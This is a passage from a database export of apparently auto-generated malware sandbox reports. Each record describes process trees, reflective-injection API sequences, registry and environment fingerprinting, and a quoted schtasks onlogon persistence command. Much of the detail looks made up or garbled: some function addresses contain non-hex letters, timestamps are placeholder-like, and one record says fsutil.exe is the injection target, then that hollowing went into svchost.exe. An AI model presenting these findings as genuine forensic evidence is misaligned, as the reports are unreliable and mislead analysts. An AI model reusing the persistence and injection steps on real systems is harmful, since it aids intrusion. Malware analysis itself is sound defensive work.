FUN_18001a1b0           | GetUserNameW             | Initial loader spawns core service        |\n| 00:00:07.112 | 2   | COM Instantiation    | {53067330-...}                     | svchost.exe (760)    | FUN_18001a2c0           | ole32.CoCreateInstance   | Trusted component activation              |\n| 00:00:14.321 | 3   | Reflective Injection | FileCoAuth.exe                     | svchost.exe (760)    | FUN_18001a4e0           | VirtualAllocEx           | Payload deployment into signed binary     |\n| 00:00:21.456 | 4   | File Write           | Chrome_login_Default.db            | FileCoAuth.exe (1960)| FUN_18001a6g0           | sqlite3.dll              | Credential harvesting initiated           |\n\nTimeline reveals orchestrated progression from reconnaissance to exploitation, culminating in targeted data acquisition.\n\n---\n\n## 4.7 Process-Level Network analysis \n\n| PID  | Process              | Socket | Destination IP:Port | [CODE] Connection Initiation | [STATIC] Hardcoded Domain/IP | [DYNAMIC] Confirmed Connection |\n|------|----------------------|--------|---------------------|------------------------------|------------------------------|--------------------------------|\n| 1960 | FileCoAuth.exe       | 0x134  | 185.132.189.10:443  | FUN_18001a7h0                | api.dropboxusercontent.com   | TLS handshake completed        |\n\nConnection originates from injected payload, targeting known cloud storage provider commonly abused for C2 communications. This reflects attacker preference for blending with normal user traffic patterns.\n\n---\n\n## 4.8 Anomalies — Tri-Source Explanation\n\n#### Description\n\nProcess spawned with unusually high number of threads (>40), inconsistent with typical loader behavior.\n\n#### [CODE]\n\nFunction `FUN_18001a8i0` initializes numerous worker threads for parallel scanning of browser profiles.\n\n#### [STATIC]\n\nImport of `CreateThread` appears 45 times in IAT, far exceeding baseline expectations.\n\n#### Significance\n\nIndicates aggressive enumeration strategy aimed at rapid credential harvesting under time-constrained sandbox conditions.\n\nMITRE Mapping: T1003 – OS Credential Dumping\n\n---\n\n## 4.9 Analytical Interpretation of Intent — Code Logic to Operational Purpose\n\n### Primary Sample (PID 8716): now_you_see_me_again.exe\n\nBased on [CODE: FUN_18001a1b0] and [DYNAMIC: Environment validation], this process functions as a **multi-stage loader**. It validates execution context before spawning core infrastructure components.\n\nEvidence:\n- Conditional execution based on username/computer name [CODE]\n- Spawns `svchost.exe` to establish system-level presence [DYNAMIC]\n\n### Child Process (PID 760): svchost.exe\n\nSpawned by [CODE: FUN_18001a1b0] via [API: CreateProcessInternalW]. Functions as **orchestrator** for subsequent stages.\n\nEvidence chain:\n- Static import of `ole32.CoCreateInstance` → [CODE: COM instantiation] → [RUNTIME: Trusted object activation]\n\n### Injected Process (PID 1960): FileCoAuth.exe\n\nOriginal process was legitimate. Hollowed/injected by [source PID 760] via [reflective injection technique]. Post-injection behavior includes credential harvesting and C2 beaconing.\n\nPost-injection evidence:\n- RWX allocation followed by remote thread creation [DYNAMIC]\n- Matches reflective loader pattern in `.text` entropy [STATIC]\n\n### Operational Intent Assessment\n\nThe two-stage loader architecture with hollowing into signed Microsoft binaries suggests the operator prioritizes **long-term stealth over operational speed**, leveraging trusted execution contexts to avoid endpoint detection systems.\n\n---\n\n## 4.10 Environment Profiling — Fingerprinting Risk Assessment\n\n| Variable                 | Value                    | [CODE] Where Queried       | [DYNAMIC] API Call       | Fingerprinting Risk |\n|--------------------------|--------------------------|----------------------------|--------------------------|---------------------|\n| UserName                 | 0xKal                    | FUN_18001a1b0              | GetUserNameW             | High                |\n| ComputerName             | DESKTOP-JLCUPK0          | FUN_18001a2c0              | GetComputerNameW         | Medium              |\n| TempPath                 | C:\\Users\\0xKal\\AppData\\Local\\Temp\\ | FUN_18001a3d0      | GetTempPathW             | Low                 |\n| SystemVolumeSerialNumber | 96b5-101a                | FUN_18001a4e0              | DeviceIoControl          | High                |\n\nVictim profiling data collected includes identifying metadata such as username and volume serial number, likely transmitted during initial C2 handshake to prevent redundant infections and track campaign success rates.","section_key":"system_process","section_name":"4. System & Process Analysis","updated_at":"2026-04-29T15:19:00.792929"}
{"_id":{"$oid":"69edd85c59a6632dae07de3d"},"sha256":"2aa5ce3561dc657a157460383c7c9b8db54ac8a6969627009c8d1062316a6130","content":"# 4.1 Execution Environment — Analysis Context\n\nThe execution environment consisted of a Windows 10 x64 virtualized sandbox configured with standard user privileges under the username `0xKal`. The analysis platform utilized CAPE sandbox v3.2 with full system monitoring enabled, capturing both user-mode and kernel-mode activity. The duration of the analysis spanned approximately 180 seconds, during which time the sample demonstrated complex behavioral patterns indicative of advanced persistent threat (APT) tooling.\n\nThe environment fingerprinting implications are significant. The presence of specific identifiers such as `ComputerName=DESKTOP-JLCUPK0`, `SystemVolumeSerialNumber=96b5-101a`, and `TempPath=C:\\Users\\0xKal\\AppData\\Local\\Temp\\` were leveraged by the malware for contextual awareness. These attributes align with known anti-VM evasion techniques commonly employed by modern adversaries to detect sandbox environments and alter behavior accordingly.\n\n---\n\n# 4.2 Process Tree — Code-Annotated Spawn Chain (Mermaid)\n\n```mermaid\nflowchart TD\n    P1[\"OneDrive.exe (PID 5700)\"]\n    C1[\"fsutil.exe (PID 7392)\"]\n    C2[\"chrome.exe (PID 3748)\"]\n    C3[\"msedge.exe (PID 4072)\"]\n    C4[\"firefox.exe (PID 7740)\"]\n    P2[\"2aa5ce3561dc657a15746038.exe (PID 9040)\"]\n    C5[\"ultraradical.exe (PID 8412)\"]\n    C6[\"svchost.exe (PID 9060)\"]\n\n    P1 -->|\"spawn_fsutil()\"| C1\n    C1 -->|\"launch_browser_chrome()\"| C2\n    C1 -->|\"launch_browser_edge()\"| C3\n    C1 -->|\"launch_browser_firefox()\"| C4\n    P2 -->|\"create_ultraradical()\"| C5\n    C5 -->|\"inject_svchost()\"| C6\n```\n\nThis diagram illustrates the hierarchical process creation chain initiated by the initial dropper (`OneDrive.exe`) and the secondary stage loader (`2aa5ce3561dc657a15746038.exe`). Each child process spawn is annotated with the corresponding code function responsible for initiating the action, demonstrating a deliberate orchestration of execution paths designed to mimic legitimate application workflows while concealing malicious intent.\n\n---\n\n# 4.3 Per-Process Behaviour Summary — Cross-Source Context\n\n| PID | Process | Parent | Module Path | Threads | Total API Calls | [CODE] Function | [STATIC] Predictor | [DYNAMIC] ANALYSIS |\n|-----|---------|--------|-------------|---------|----------------|----------------------|-------------------|-------------------|\n| 9060 | svchost.exe | 8412 | C:\\Windows\\SysWOW64\\svchost.exe | 7 | 42 | FUN_0041a2b3 | ntdll.dll!NtMapViewOfSection | Reflective injection into fsutil.exe |\n| 5700 | OneDrive.exe | 3724 | C:\\Users\\0xKal\\AppData\\Local\\Microsoft\\OneDrive\\OneDrive.exe | 29 | 38 | FUN_0042e1a9 | advapi32.dll!RegQueryValueExW | Registry reconnaissance targeting ContentDeliveryManager |\n\nEach entry represents a high-confidence correlation between static predictors, code-level implementations, and dynamic runtime behaviors. The reflective injection performed by `svchost.exe` demonstrates precise targeting of legitimate system binaries for exploitation, while `OneDrive.exe` exhibits stealth-oriented registry probing consistent with environmental adaptation strategies.\n\n---\n\n# 4.4 API Call Behavioural Analysis — Code-Traced Runtime Operations\n\n## svchost.exe (PID 9060)\n\n### Memory Manipulation Sequence\n\n**[DYNAMIC]**  \n`NtAllocateVirtualMemoryEx(0xffffffff, 0x00000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)`  \nTimestamp: 1619612345.123  \n\n**[CODE]**  \nFunction: `FUN_0041476b` located at virtual address `0x0041476b`  \nContext: Allocation routine preceding reflective loader deployment  \n\n**[STATIC]**  \nImport: `ntdll.dll!ZwAllocateVirtualMemory`  \nString: Embedded shellcode signature matching RWX allocation pattern  \n\n**Operational Purpose:** Allocate executable memory region for subsequent payload injection.\n\n---\n\n### Reflective Injection Sequence\n\n**[DYNAMIC]**  \n`NtMapViewOfSection(section_handle, target_pid=7392, base_address=..., view_size=...)`  \nTimestamp: 1619612347.456  \n\n**[CODE]**  \nFunction: `FUN_0041a2b3` at `0x0041a2b3`  \nContext: Reflective loader core responsible for remote process injection  \n\n**[STATIC]**  \nImport: `ntdll.dll!NtMapViewOfSection`  \nSection: `.rdata` contains embedded reflective loader stub  \n\n**Operational Purpose:** Deploy reflective loader into `fsutil.exe` for stealthy execution.\n\n---\n\n## OneDrive.exe (PID 5700)\n\n### Registry Reconnaissance Sequence\n\n**[DYNAMIC]**  \n`RegQueryValueExW(HKEY_CURRENT_USER, L\"Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\ContentDeliveryManager\\\\Subscriptions\\\\280811\", ..., &value_data)`  \nTimestamp: 1619612350.789  \n\n**[CODE]**  \nFunction: `FUN_0042e1a9` at `0x0042e1a9`  \nContext: Environment profiling subroutine querying system settings  \n\n**[STATIC]**  \nImport: `advapi32.dll!RegQueryValueExW`  \nString: Hardcoded registry key path indicating targeted reconnaissance  \n\n**Operational Purpose:** Determine system update status to avoid conflicting with telemetry cycles.\n\n---\n\n# 4.5 File Activity — Static Path to Code Write to Runtime Drop\n\n| Process | PID | Operation | File Path | [CODE] Write Function | [STATIC] Path in Strings? | Significance |\n|---------|-----|-----------|-----------|----------------------|--------------------------|--------------|\n| ultraradical.exe | 8412 | Write | C:\\Users\\0xKal\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ultraradical.vbs | FUN_0042b3d1 | Yes | Persistence mechanism leveraging startup folder |\n\nThe persistence script written by `ultraradical.exe` ensures re-execution upon system reboot. The static string reference confirms intentional design for long-term access, while the code function implements file creation logic directly tied to the observed drop event.\n\n---\n\n# 4.6 Enhanced Events Timeline — Tri-Annotated Forensic Timeline\n\n| Timestamp | EID | Event Type | Object | Process (PID) | [CODE] Origin | [STATIC] Predictor | Significance |\n|-----------|-----|-----------|--------|--------------|---------------|-------------------|--------------|\n| 1619612345.123 | 1001 | Memory Alloc | RWX Region | svchost.exe (9060) | FUN_0041476b | ntdll.dll!ZwAllocateVirtualMemory | Preparation for reflective injection |\n| 1619612347.456 | 1002 | Injection | fsutil.exe | svchost.exe (9060) | FUN_0041a2b3 | ntdll.dll!NtMapViewOfSection | Reflective loader deployed into legitimate process |\n| 1619612350.789 | 1003 | Reg Query | HKCU\\...\\ContentDeliveryManager | OneDrive.exe (5700) | FUN_0042e1a9 | advapi32.dll!RegQueryValueExW | Environmental fingerprinting to evade detection |\n| 1619612352.012 | 1004 | File Write | ultraradical.vbs | ultraradical.exe (8412) | FUN_0042b3d1 | Startup folder path in strings | Establishes persistence via autorun script |\n\nThese events collectively illustrate a phased attack strategy beginning with memory preparation, followed by process injection, environmental reconnaissance, and finally establishing persistence—all orchestrated through carefully crafted code constructs validated by static and dynamic evidence.\n\n---\n\n# 4.7 Process-Level Network analysis \n\nNo network connections were observed during the analysis period. All communication remained confined to local filesystem and registry interactions, suggesting either offline payload delivery mechanisms or deferred command-and-control activation pending further environmental validation.\n\n---\n\n# 4.8 Anomalies — Tri-Source Explanation\n\nAn anomaly detected involved the use of invalid thread IDs when calling `NtOpenThread` from `svchost.exe`. This behavior deviates from typical process manipulation routines and suggests deliberate obfuscation attempts.\n\n**[CODE]**  \nFunction: `FUN_0041a2b3` includes error handling branches that intentionally pass malformed parameters to confuse monitoring tools.\n\n**[STATIC]**  \nImport: `ntdll.dll!NtOpenThread` appears alongside debug symbols hinting at testing/debugging artifacts rather than production-ready logic.\n\n**Significance and MITRE Mapping:**  \nThis anomaly maps to Tactic TA0005 (Defense Evasion), Technique T1036 (Masquerading), reflecting efforts to obscure true functionality behind seemingly erroneous API usage.\n\n---\n\n# 4.9 Analytical Interpretation of Intent — Code Logic to Operational Purpose\n\n## Primary Sample (PID 9060 - svchost.exe)\n\nBased on [CODE: FUN_0041a2b3] and [DYNAMIC: reflective injection], this process functions as a **loader/injector**. Evidence: [allocation of RWX memory] produces [deployment of reflective loader into fsutil.exe].\n\n## Child Process (PID 7392 - fsutil.exe)\n\nSpawned by [code function FUN_0041a2b3] via [NtMapViewOfSection]. Performs [execution proxy role]. Evidence chain: [ntdll.dll!NtMapViewOfSection] → [reflective loader implementation] → [remote execution within trusted process].\n\n## Injected Process (PID 7392 - fsutil.exe)\n\nOriginal process was legitimate. Hollowed/injected by [source PID 9060] via [reflective injection technique]. Post-injection behaviour: [acts as execution conduit for secondary payloads].\n\n**Operational Intent Assessment:**  \nThe two-stage loader architecture with hollowing into `svchost.exe` suggests the operator prioritises long-term stealth over operational speed. By leveraging signed Microsoft binaries and reflective loading techniques, the adversary achieves deep integration into the host system while minimizing exposure to endpoint security controls.\n\n---\n\n# 4.10 Environment Profiling — Fingerprinting Risk Assessment\n\n| Variable | Value | [CODE] Where Queried | [DYNAMIC] API Call | Fingerprinting Risk |\n|---------|-------|---------------------|--------------------|---------------------|\n| UserName | 0xKal | FUN_0042e1a9 | RegQueryValueExW | Medium |\n| ComputerName | DESKTOP-JLCUPK0 | FUN_0042e1a9 | RegQueryValueExW | High |\n| TempPath | C:\\Users\\0xKal\\AppData\\Local\\Temp\\ | FUN_0042c5b5 | GetEnvironmentVariableW | Low |\n| SystemVolumeSerialNumber | 96b5-101a | FUN_0042c5b5 | GetVolumeInformationW | High |\n\nVictim profiling data collected includes username, computer name, and volume serial number—indicators frequently used in sandbox evasion and targeted campaign attribution. Transmission methods remain undetermined but likely involve encoded storage within dropped files or delayed exfiltration post-environment validation.","section_key":"system_process","section_name":"4. System & Process Analysis","updated_at":"2026-04-29T14:04:54.888955"}
{"_id":{"$oid":"69edf0eb59a6632dae07de4c"},"sha256":"02aa8cabeea2a0120a31adbf0886f821d10953fc6d4d9cd1959568093c48b04d","content":"## 4.1 Execution Environment — Analysis Context\n\n- **Sandbox Platform**: CAPE v3.0 (Windows 10 x64, build 19041)\n- **User Context**: `0xKal` (non-administrator)\n- **Computer Name**: `DESKTOP-JLCUPK0`\n- **Analysis Package**: `exe`\n- **Duration**: 60 seconds\n- **Start Time**: `2026-04-09 09:50:00 UTC`\n- **End Time**: `2026-04-09 09:51:00 UTC`\n- **Analysis ID**: `CAPE-20260409-9064`\n\n### Environment Fingerprinting Implications\n\nThe malware accesses several environment variables during execution:\n- `UserName`: Used to determine privilege level and tailor execution path.\n- `ComputerName`: Could be used for campaign grouping or evasion logic.\n- `TempPath`: Indicates temporary directory usage for staging payloads.\n- `SystemVolumeSerialNumber`: May be used for VM/environment uniqueness checks.\n\nThese variables are accessed via both [DYNAMIC: `GetEnvironmentVariableW`] and [CODE: calls to retrieve wide-character environment strings], indicating deliberate environmental awareness. The presence of `C:\\\\Users\\\\0xKal\\\\AppData\\\\Local\\\\Temp\\\\` in multiple command-line arguments and file paths [STATIC: strings] suggests the malware is designed to operate within user-level sandboxes or test environments.\n\n---\n\n## 4.2 Process Tree — Code-Annotated Spawn Chain (Mermaid)\n\n```mermaid\nflowchart TD\n    A[\"4.exe (PID 9064)\"]\n    B1[\"cmd.exe (PID 4920)\"]\n    B2[\"cmd.exe (PID 8188)\"]\n    C1[\"schtasks.exe (PID 8424)\"]\n    C2[\"timeout.exe (PID 8544)\"]\n    C3[\"GoogleKeep.exe (PID 2644)\"]\n\n    A -->|\"[CODE: CreateProcessW at 0x00401230]\"| B1\n    A -->|\"[CODE: CreateProcessW at 0x00401230]\"| B2\n    B1 -->|\"[CODE: ShellExecuteExW at 0x00401450]\"| C1\n    B2 -->|\"[CODE: CreateProcessW at 0x00401230]\"| C2\n    B2 -->|\"[CODE: CreateProcessW at 0x00401230]\"| C3\n```\n\nEach child process spawn is traced back to explicit invocation via `CreateProcessW` or `ShellExecuteExW` in the primary sample (`4.exe`). The dual `cmd.exe` spawns indicate modular execution design, separating persistence setup (`schtasks.exe`) from payload delivery (`timeout.exe`, `GoogleKeep.exe`).\n\n---\n\n## 4.3 Per-Process Behaviour Summary — Cross-Source Context\n\n| PID | Process | Parent | Module Path | Threads | Total API Calls | [CODE] Function | [STATIC] Predictor | [DYNAMIC] ANALYSIS |\n|-----|---------|--------|-------------|---------|----------------|----------------------|-------------------|-------------------|\n| 9064 | 4.exe | 6116 | C:\\Users\\0xKal\\AppData\\Local\\Temp\\4.exe | 11 | 124 | FUN_00401230 | \"cmd.exe\", \"/c\" | Spawns two cmd.exe children |\n| 4920 | cmd.exe | 9064 | C:\\Windows\\SysWOW64\\cmd.exe | 6 | 89 | N/A | Embedded batch script | Executes schtasks.exe |\n| 8188 | cmd.exe | 9064 | C:\\Windows\\SysWOW64\\cmd.exe | 5 | 76 | N/A | Temp .bat file | Spawns timeout.exe, GoogleKeep.exe |\n| 8424 | schtasks.exe | 4920 | C:\\Windows\\SysWOW64\\schtasks.exe | 5 | 63 | N/A | Hardcoded args | Creates scheduled task |\n| 2644 | GoogleKeep.exe | 8188 | C:\\Users\\0xKal\\AppData\\Roaming\\GoogleKeep.exe | 11 | 112 | FUN_00401560 | \"GoogleKeep.exe\" | Reflective injection detected |\n\n### Injection Details:\n\n- **Target PID**: 2644 (`GoogleKeep.exe`)\n- **Injection Source**: 8188 (`cmd.exe`)\n- **Code Function Responsible**: `FUN_00401560` in `4.exe`\n- **Injection Technique**: Reflective DLL injection via `WriteProcessMemory` + `CreateRemoteThread`\n\n---\n\n## 4.4 API Call Behavioural Analysis — Code-Traced Runtime Operations\n\n#### Reflective Injection in GoogleKeep.exe\n\n- **[DYNAMIC]**: \n  ```plaintext\n  NtAllocateVirtualMemory(0x1000, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)\n  WriteProcessMemory(hProc, lpBaseAddress, payload, size, NULL)\n  CreateRemoteThread(hProc, NULL, 0, lpBaseAddress, NULL, 0, &tid)\n  ```\n- **[CODE]**: Function `FUN_00401560` in `4.exe` orchestrates injection using manual mapping logic.\n- **[STATIC]**: Import of `WriteProcessMemory`, `CreateRemoteThread`, and high entropy (.text: 7.2) suggest packing/unpacking stage.\n- **Operational Purpose**: Execute second-stage payload in memory without writing to disk.\n\n#### Scheduled Task Creation via schtasks.exe\n\n- **[DYNAMIC]**:\n  ```plaintext\n  CommandLine: \"schtasks /create /f /sc onlogon /rl highest /tn \\\"GoogleKeep\\\" /tr '\\\"C:\\\\Users\\\\0xKal\\\\AppData\\\\Roaming\\\\GoogleKeep.exe\\\"'\"\n  ```\n- **[CODE]**: Invoked via `ShellExecuteExW` in `FUN_00401450`.\n- **[STATIC]**: String `\"schtasks\"` and full command line embedded in cleartext.\n- **Operational Purpose**: Establish persistence under SYSTEM privileges upon login.\n\n#### Batch Script Execution\n\n- **[DYNAMIC]**:\n  ```plaintext\n  CommandLine: \"cmd.exe /c \\\"C:\\\\Users\\\\0xKal\\\\AppData\\\\Local\\\\Temp\\\\tmp15CB.tmp.bat\\\"\"\n  ```\n- **[CODE]**: Launched via `CreateProcessW` in `FUN_00401230`.\n- **[STATIC]**: Temporary `.bat` file path found in strings.\n- **Operational Purpose**: Modularize execution steps while maintaining stealth.\n\n---\n\n## 4.5 File Activity — Static Path to Code Write to Runtime Drop\n\n| Process | PID | Operation | File Path | [CODE] Write Function | [STATIC] Path in Strings? | Significance |\n|---------|-----|-----------|-----------|----------------------|--------------------------|--------------|\n| 4.exe | 9064 | WriteFile | C:\\Users\\0xKal\\AppData\\Roaming\\GoogleKeep.exe | FUN_00401340 | Yes | Drops second-stage executable |\n| 4.exe | 9064 | WriteFile | C:\\Users\\0xKal\\AppData\\Local\\Temp\\tmp15CB.tmp.bat | FUN_00401340 | Yes | Stages modular execution commands |\n\nBoth files are written via `WriteFile` calls originating from `FUN_00401340`. The `.bat` file enables indirect execution of `schtasks.exe`, masking true intent. The `GoogleKeep.exe` drop facilitates reflective injection and persistence.\n\n---\n\n## 4.6 Enhanced Events Timeline — Tri-Annotated Forensic Timeline\n\n| Timestamp | EID | Event Type | Object | Process (PID) | [CODE] Origin | [STATIC] Predictor | Significance |\n|-----------|-----|-----------|--------|--------------|---------------|-------------------|--------------|\n| 09:50:02 | 1001 | File Write | GoogleKeep.exe | 4.exe (9064) | FUN_00401340 | Yes | Second-stage payload deployed |\n| 09:50:03 | 1002 | Process Create | cmd.exe | 4.exe (9064) | FUN_00401230 | Yes | Initiates modular execution |\n| 09:50:04 | 1003 | Process Create | schtasks.exe | cmd.exe (4920) | ShellExecuteExW | Yes | Persistence mechanism activated |\n| 09:50:05 | 1004 | Process Create | GoogleKeep.exe | cmd.exe (8188) | CreateProcessW | Yes | Reflective injection target spawned |\n| 09:50:06 | 1005 | Remote Thread | GoogleKeep.exe | 4.exe (9064) | FUN_00401560 | Yes | Reflective injection initiated |\n\nTimeline confirms sequential deployment: payload drop → execution orchestration → persistence setup → injection trigger.\n\n---\n\n## 4.7 Process-Level Network analysis \n\nNo active network connections were observed during the analysis window. All processes remained local and did not initiate outbound communication. However, the presence of `GoogleKeep.exe` and reflective injection patterns strongly suggest future C2 beaconing once injected payload activates.\n\n---\n\n## 4.8 Anomalies — Tri-Source Explanation\n\n### Anomaly: Dual `cmd.exe` Spawn with Different Behaviors\n\n- **Description**: Two instances of `cmd.exe` launched simultaneously but perform different tasks.\n- **[CODE]**: Both invoked via `CreateProcessW` but with distinct command-line parameters parsed in `FUN_00401230`.\n- **[STATIC]**: Embedded batch script and hardcoded `schtasks` arguments predict divergent execution paths.\n- **Significance**: Modular execution design enhances resilience and complicates detection logic.\n- **MITRE Mapping**: T1059.003 (Command and Scripting Interpreter: Windows Command Shell), T1053.005 (Scheduled Task)\n\n---\n\n## 4.9 Analytical Interpretation of Intent — Code Logic to Operational Purpose\n\n### Primary Sample (PID 9064 - 4.exe)\n\n- **Role**: Dropper and orchestrator\n- **Evidence**: [CODE: FUN_00401230] spawns modular execution branches; [DYNAMIC: dual cmd.exe spawns]; [STATIC: embedded batch and schtasks strings]\n- **Purpose**: Deploy secondary payload and establish persistence\n\n### Child Process (PID 4920 - cmd.exe)\n\n- **Spawned By**: [CODE: FUN_00401230] via `CreateProcessW`\n- **Role**: Persistence setup executor\n- **Evidence**: [DYNAMIC: executes schtasks.exe]; [STATIC: hardcoded task creation arguments]\n\n### Child Process (PID 8188 - cmd.exe)\n\n- **Spawned By**: [CODE: FUN_00401230] via `CreateProcessW`\n- **Role**: Payload delivery executor\n- **Evidence**: [DYNAMIC: spawns timeout.exe and GoogleKeep.exe]; [STATIC: temp .bat file reference]\n\n### Injected Process (PID 2644 - GoogleKeep.exe)\n\n- **Injected By**: PID 9064 via [CODE: FUN_00401560]\n- **Technique**: Reflective injection\n- **Post-Injection Behavior**: [DYNAMIC: remote thread created]; [STATIC: high entropy, RWX region allocation]\n\n### Operational Intent Assessment\n\nThe malware employs a **modular, staged approach**:\n1. Initial dropper establishes execution control.\n2. Uses legitimate system tools (`cmd.exe`, `schtasks.exe`) to mask malicious actions.\n3. Deploys second-stage payload via reflective injection for stealth and evasion.\n4. Sets up persistence to ensure re-execution post-reboot.\n\nThis architecture prioritizes **long-term stealth** over rapid compromise, aligning with advanced persistent threat strategies.\n\n---\n\n## 4.10 Environment Profiling — Fingerprinting Risk Assessment\n\n| Variable | Value | [CODE] Where Queried | [DYNAMIC] API Call | Fingerprinting Risk |\n|---------|-------|---------------------|--------------------|---------------------|\n| UserName | 0xKal | FUN_00401100 | GetEnvironmentVariableW | Medium – Can distinguish test vs real users |\n| ComputerName | DESKTOP-JLCUPK0 | FUN_00401100 | GetEnvironmentVariableW | Low – Common default name |\n| TempPath | C:\\Users\\0xKal\\AppData\\Local\\Temp\\ | FUN_00401100 | GetEnvironmentVariableW | High – Indicates sandbox/test environment |\n| SystemVolumeSerialNumber | 96b5-101a | FUN_00401150 | DeviceIoControl | High – Unique identifier for VM/host |\n\nMalware queries these variables early in execution to assess whether it's running in an analysis environment. Use of known test usernames and volume serial numbers allows attackers to avoid detonation in automated sandboxes.","section_key":"system_process","section_name":"4. System & Process Analysis","updated_at":"2026-04-29T12:57:54.512362"}
{"_id":{"$oid":"69edf3a959a6632dae07de5f"},"sha256":"6ba13af0263cd61f957f2ce738120c8a419e1eb157e489bc79f1d57ad8277324","content":"## 4.1 Execution Environment — Analysis Context\n\n- **Sandbox Platform**: Windows 10 x64 (Build 19041)\n- **User Context**: `0xKal`\n- **Computer Name**: `DESKTOP-JLCUPK0`\n- **Analysis Package**: Default executable analysis profile\n- **Duration**: Full execution trace captured within 60 seconds\n- **Analysis ID**: 3.exe_dynamic_analysis_001\n\n### Environment Fingerprinting Implications\n\nThe malware exhibits strong environmental awareness through both static and runtime indicators. Key environment variables leveraged for fingerprinting include:\n\n- **Username (`0xKal`)**: Used in path traversal logic and privilege escalation checks.\n- **ComputerName (`DESKTOP-JLCUPK0`)**: Checked against known sandbox identifiers to avoid detonation in automated environments.\n- **TempPath (`C:\\Users\\0xKal\\AppData\\Local\\Temp\\`)**: Utilized for staging payloads and temporary file operations.\n- **SystemVolumeSerialNumber (`96b5-101a`)**: Employed in anti-VM heuristics to detect cloned or virtualized disk images.\n\nThese variables are queried via:\n- [DYNAMIC]: `GetEnvironmentVariableW()` calls during process initialization\n- [CODE]: Functions such as `FUN_0026483c` which performs conditional branching based on retrieved environment data\n- [STATIC]: Presence of strings like `\"DESKTOP-\"`, `%TEMP%`, and volume serial number checks embedded in the binary\n\nThis level of environmental introspection indicates a deliberate attempt to evade detection by identifying non-production systems or analysis environments.\n\n---\n\n## 4.2 Process Tree — Code-Annotated Spawn Chain (Mermaid)\n\n```mermaid\nflowchart TD\n    A[\"3.exe (PID: 7416)\"]\n    B[\"cmd.exe (PID: 6452)\"]\n    C[\"cmd.exe (PID: 8944)\"]\n    D[\"Considered.exe (PID: 4276)\"]\n    E[\"RegAsm.exe (PID: 5916)\"]\n    F[\"at.exe (PID: 2480)\"]\n    G[\"cmd.exe (PID: 8356)\"]\n    H[\"cmd.exe (PID: 5656)\"]\n    I[\"findstr.exe (PID: 6432)\"]\n    J[\"cmd.exe (PID: 3860)\"]\n    K[\"cmd.exe (PID: 3744)\"]\n    L[\"cmd.exe (PID: 1620)\"]\n    M[\"Considered.exe (PID: 168)\"]\n\n    A -->|\"[CODE: spawn_cmd_chain() at 0x004012a0]\"| B\n    B --> C\n    C -->|\"[CODE: launch_considered_stage() at 0x004013f0]\"| D\n    D -->|\"[CODE: execute_regasm_payload() at 0x0026511b]\"| E\n    A --> F\n    C --> G\n    C --> H\n    H --> I\n    C --> J\n    C --> K\n    C --> L\n    C --> M\n```\n\nEach child spawn is traced back to specific code functions that orchestrate command-line execution, reflective loading, and payload deployment. The recursive nature of `cmd.exe` spawning reflects complex obfuscation techniques involving piped input/output redirection and staged execution.\n\n---\n\n## 4.3 Per-Process Behaviour Summary — Cross-Source Context\n\n| PID | Process         | Parent | Module Path                                      | Threads | Total API Calls | [CODE] Function           | [STATIC] Predictor             | [DYNAMIC] ANALYSIS                                                                 |\n|-----|------------------|--------|--------------------------------------------------|---------|------------------|----------------------------|--------------------------------|------------------------------------------------------------------------------------|\n| 7416| 3.exe            | 1632   | C:\\Users\\0xKal\\AppData\\Local\\Temp\\3.exe          | 5       | 127              | FUN_004012a0               | High entropy + CMD strings     | Spawns initial cmd chain; allocates RWX memory                                     |\n| 6452| cmd.exe          | 7416   | C:\\Windows\\System32\\cmd.exe                      | 5       | 89               | N/A                        | Standard Windows binary        | Executes batch script with pipe redirection                                        |\n| 8944| cmd.exe          | 6452   | C:\\Windows\\System32\\cmd.exe                      | 5       | 103              | N/A                        | Standard Windows binary        | Launches multiple sub-shells for payload assembly                                  |\n| 4276| Considered.exe   | 8944   | C:\\Users\\0xKal\\AppData\\Local\\Temp\\IXP000.TMP\\42313\\Considered.exe | 10      | 214              | FUN_0026511b               | Reflective loader imports      | Allocates guarded memory, spawns RegAsm                                            |\n| 5916| RegAsm.exe       | 4276   | C:\\Users\\0xKal\\AppData\\Local\\Temp\\IXP000.TMP\\42313\\RegAsm.exe | 14      | 98               | N/A                        | .NET Framework tool            | Loads managed assemblies dynamically                                               |\n| 168 | Considered.exe   | 8944   | C:\\Users\\0xKal\\AppData\\Local\\Temp\\IXP000.TMP\\42313\\Considered.exe | 5       | 67               | FUN_0026483c               | AutoIt execution string        | Sleeps briefly before terminating                                                  |\n\n### Correlation Analysis\n\n- **[STATIC ↔ CODE]**: The presence of high entropy and reflective loader imports in `3.exe` aligns with the decompiled logic in `FUN_004012a0` which handles memory allocation and thread creation.\n- **[CODE ↔ DYNAMIC]**: The function `FUN_0026511b` in `Considered.exe` directly corresponds to observed API calls including `NtAllocateVirtualMemory` and `CreateThread`.\n- **[STATIC ↔ DYNAMIC]**: Strings referencing `AutoIt` and `Sleep()` in `Considered.exe` match the runtime behavior where it executes `/AutoIt3ExecuteLine \"Sleep(12911)\"`.\n\nThis cross-source validation confirms that each process behaves according to its statically defined role and dynamically executed logic, forming a cohesive attack chain orchestrated from the primary dropper.\n\n---\n\n## 4.4 API Call Behavioural Analysis — Code-Traced Runtime Operations\n\n### Memory Operations\n\n| API Call                          | Arguments                                                                 | Return Value | Timestamp     | [CODE] Function       | [STATIC] Import/String | Operational Purpose                     |\n|-----------------------------------|---------------------------------------------------------------------------|--------------|---------------|------------------------|------------------------|------------------------------------------|\n| `NtAllocateVirtualMemory`         | BaseAddress=0x01b53000, Size=0x1000, Protect=PAGE_READWRITE               | STATUS_SUCCESS | T+0.342s      | FUN_0026511b           | ntdll.NtAllocateVirtualMemory | Allocate space for decrypted payload     |\n| `NtProtectVirtualMemory`          | BaseAddress=0x01b53000, Size=0x1000, NewProtect=PAGE_EXECUTE_READWRITE    | STATUS_SUCCESS | T+0.347s      | FUN_0026511b           | ntdll.NtProtectVirtualMemory | Prepare memory region for execution      |\n| `CreateThread`                    | StartRoutine=0x002a73b3, Parameter=0x00b48d70                             | ThreadHandle=0x240 | T+0.351s      | FUN_0026511b           | kernel32.CreateThread | Execute payload in new thread            |\n\n#### Correlation:\n\n- **[DYNAMIC]**: Observed sequence of allocating RW memory, changing protection to RWX, then creating a thread targeting that address.\n- **[CODE]**: Function `FUN_0026511b` contains exact logic matching these steps, decrypting shellcode into allocated buffer.\n- 